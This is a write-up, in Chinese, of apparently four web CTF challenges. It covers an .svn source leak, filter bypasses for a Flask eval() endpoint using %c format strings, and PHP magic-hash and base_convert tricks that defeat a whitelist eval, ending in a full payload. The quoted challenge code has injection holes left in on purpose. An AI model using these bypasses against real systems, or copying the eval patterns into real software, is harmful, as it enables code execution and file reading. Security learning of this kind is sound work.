web1

这道题就是很简单的.svn源码泄露,这个题算是一个web签到题吧

直接扫,或者是说访问./svn,就出来目录了

开始是里面有一个数据库,有一个flag,但是交了之后不正确,以为是假的flag

后来又成真的了,这只能怪主办方了

web2

这道题是一道java题

这道题确实没有想到,还以为是常规的cookie伪造,一直在找cookie伪造的方法

这个框架是springboot框架,是一道java的题,直接跳过了,不多说

web3

这道题是一道python的题,不知道主办方怎么想的开始不给源码,让我们硬猜参数,最后给了源码

from flask import Flask, request, Response
import random
import re

app = Flask(__name__)

@app.route('/')
def index():
    evalme = request.args.get('evalme')

    if ((not evalme) or re.search(r'[A-Zd-z\. /*$#@!+^]', evalme)):
        return 'hacker?'

    with open(eval(evalme), 'rb') as f:
        return Response(f.read())


if __name__ == '__main__':
    app.run("0.0.0.0",port=8080)

这个参数是evalme,代码很少

过滤了大写字母和部分小写字母,还有一些字符

这里没有过滤a,b,c这个小写字母,没有过滤数字,肯定用数字做文章

原本的思路是用八进制绕过,但是这里过滤了/,没办法用这个来绕过,后来我又想到用这三个字母进行构造其他的字母

但是没办法,在python中能通过ord()函数,进行转化,将数字转化为对应的ascll字符,但是大部分字母都被禁了我们没办法用

接下来我想到可以用a++来表示b?但禁了+,用-,能不能实现,不能

后来才知道可以用格式化字符串来进行转化,这里的%c,正好都没有被禁

a = eval('"%c%c%c%c%c%c%c%c"%(102,108,97,103,46,116,120,116)')
print(a)

这里的结果就flag.txt

但是我传进去会报错?环境问题?

web4

看到web4的题目我以为是一个套娃题,但是进去看了好像没有那么套

直接访问了/FLLL4g.php

就有了真正的源码

<?php
show_source(__FILE__);
if (isset($_GET['X'])) {
    $temp = $_GET['X'];
    is_numeric($temp) ? die("no numeric") : NULL;
    if ($temp > 9999) {
        echo "Pupil.</br>";
    } else {
        die("NO!NO!NO!");
    }
}
else {
    die("Where is X?");
}

if (isset($_GET['Y'])) {
    $md5 = $_GET['Y'];
    if ($md5==md5($md5)) {
        echo "Junior school student.</br>";
    } else {
        die("NO!NO!NO!");
    }
}
else {
    die("Where is Y?");
}

if (isset($_GET['Z'])) {
    $content = $_GET['Z'];
    if (strlen($content) >= 60) {
        die("No long!");
    }
    $blacklist = [' ', '\'', '"', '`', '\[', '\]', '\{',  '}', '\t', '\r', '\n'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("Black DIE!!!NO!NO!NO!");
        }
    }
    $security = ['abs', 'base_convert', 'cos', 'dechex', 'exp', 'f1ag', 'getrandmax', 'hexdec', 'is_nan', 'log', 'max', 'octdec', 'pi', 'sin', 'tan'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $security)) {
            die("security DIE!NO!NO!NO!");
        }
    }
    eval('echo '.$content.';');
    if(isset($f1ag)){
        if($f1ag == "flag"){
            echo "Senior high school student.</br>";
            echo "Here_is_flag!!!!!!!";
        }
    }
    else{
        echo "NO!NO!NO!";
    }

}
else {
    die("Where is Z?");
}
?> 

源码有三层,这里第一层和第二层很常规

这里面的第三层,我们要实现

这里的$f1ag=flag ,关键是怎么构造这个flag,上面的eval要执行函数

这里的只能用白名单里面的函数,就只有那个base_convert可以使用,这里我们进行进制转化

将数字转化不同进制的,这里我们只要有flag这四个字符就可以了

我们可以选择10进制转化为36进制,就能转化成flag这四个字样的

payload

X=100000e&Y=0e215962017&Z=$f1ag=base_convert(727432,10,36)